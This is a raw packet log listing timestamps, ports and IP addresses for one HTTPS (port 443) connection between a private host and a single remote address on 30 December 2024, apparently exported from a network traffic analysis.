Dec 30, 2024 21:42:44.812088013 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.812094927 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.812252998 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.813147068 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.896843910 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.896863937 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.896940947 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.896950006 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.897140026 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.897160053 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.897197962 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.897205114 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.897223949 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.897254944 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.897416115 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.897432089 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.897466898 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.897473097 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.897485971 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.897510052 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.897737980 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.897752047 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.897799969 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.897805929 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.898802042 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.898818970 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.898865938 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.898871899 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.898883104 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.898910046 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.899104118 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.899120092 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.899158001 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.899163008 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.899172068 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.899439096 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.899457932 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.899525881 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.899534941 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.899802923 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.899823904 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.899852037 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.899859905 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.899879932 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.899904966 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.901958942 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.985649109 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.985665083 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.985764027 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.985769987 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.985817909 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.986001015 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.986016035 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.986069918 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.986077070 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.986116886 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.986255884 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.986273050 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.986325026 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.986331940 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.986588955 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.986605883 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.986646891 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.986653090 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.986676931 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.986701965 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.987602949 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.987616062 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.987680912 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.987687111 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.988099098 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.988116026 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.988158941 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.988166094 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.988193989 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.988218069 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.988445044 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.988456964 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.988523006 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.988528967 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.988713026 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.988729000 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.988766909 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.988773108 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.988799095 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.988822937 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.990943909 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.074563026 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.074579000 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.074668884 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.074673891 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.074722052 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.074843884 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.074857950 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.074913979 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.074919939 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.075197935 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.075206041 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.075218916 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.075263977 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.075273037 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.075277090 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.075325966 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.075474024 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.075488091 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.075540066 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.075546026 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.076339960 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.076359034 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.076400995 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.076410055 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.076438904 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.076466084 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.076874018 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.076889992 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.076950073 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.076956987 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.077178955 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.077197075 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.077233076 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.077239990 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.077269077 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.077296972 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.077538967 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.077552080 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.077605009 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.077610970 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.079205990 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.080127001 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.163667917 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.163682938 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.163774967 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.163780928 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.163852930 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.163995028 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.164010048 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.164072037 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.164077997 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.164259911 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.164280891 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.164315939 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.164320946 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.164341927 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.164364100 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.164525032 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.164539099 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.164592028 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.164597988 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.165163040 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.165180922 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.165224075 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.165230036 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.165258884 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.165286064 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.165680885 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.165693998 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.165755987 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.165761948 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.165999889 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.166017056 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.166059971 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.166070938 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.166098118 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.166116953 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.166523933 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.166548014 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.166610003 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.166615963 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.167206049 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.169059992 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.252533913 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.252552032 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.252638102 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.252644062 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.252697945 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.252873898 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.252887964 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.252942085 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.252949953 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.253173113 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.253190994 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.253223896 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.253231049 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.253249884 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.253277063 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.253510952 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.253530025 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.253576994 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.253582001 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.254164934 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.254183054 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.254219055 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.254225016 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.254252911 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.254276991 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.254539013 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.254550934 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.254595995 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.254601002 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.254909992 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.254929066 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.254961967 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.254967928 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.255017996 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.255038977 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.255243063 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.255258083 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.255326033 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.255331993 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.258063078 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.258084059 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.341322899 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.341347933 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.341445923 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.341454029 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.341510057 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.341762066 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.341777086 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.341836929 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.341844082 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.342138052 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.342156887 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.342195988 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.342201948 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.342225075 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.342248917 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.342405081 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.342421055 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.342477083 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.342483997 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.342953920 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.342974901 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.343035936 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.343043089 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.343192101 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.343362093 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.343377113 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.343420982 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.343425989 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.343450069 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.343475103 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.343729973 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.343748093 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.343818903 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.343833923 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.344106913 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.344125986 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.344188929 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.344196081 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.346970081 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.346988916 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.430212021 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.430227995 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.430269957 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.430278063 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.430300951 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.430319071 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.430604935 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.430619001 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.430654049 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.430660009 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.430684090 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.430700064 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.431067944 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.431081057 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.431124926 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.431132078 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.431169987 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.431205988 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.431220055 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.431265116 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.431271076 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.431307077 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.432034969 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.432054996 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.432094097 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.432100058 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.432118893 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.432133913 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.432238102 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.432251930 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.432296991 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.432301998 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.432343006 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.432399988 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.432591915 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.432605982 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.432678938 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.432683945 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.432723045 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.437988997 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.518852949 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.518879890 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.519267082 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.519301891 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.519615889 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.519635916 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.519660950 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.519670010 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.519731045 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.519944906 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.519977093 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.519999981 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.520004988 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.520025015 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.520330906 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.520348072 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.520381927 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.520387888 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.520416021 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.520833015 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.520844936 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.520889044 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.520895004 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.521143913 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.521159887 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.521197081 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.521203041 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.521222115 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.521437883 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.521450996 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.521497011 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.521503925 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.526962042 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.527018070 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.608055115 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.608087063 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.608146906 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.608174086 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.608184099 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.608198881 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.608249903 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.608519077 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.608536959 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.608583927 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.608591080 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.608838081 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.608856916 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.608891010 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.608897924 CET	443	49744	84.32.84.20	192.168.2.4
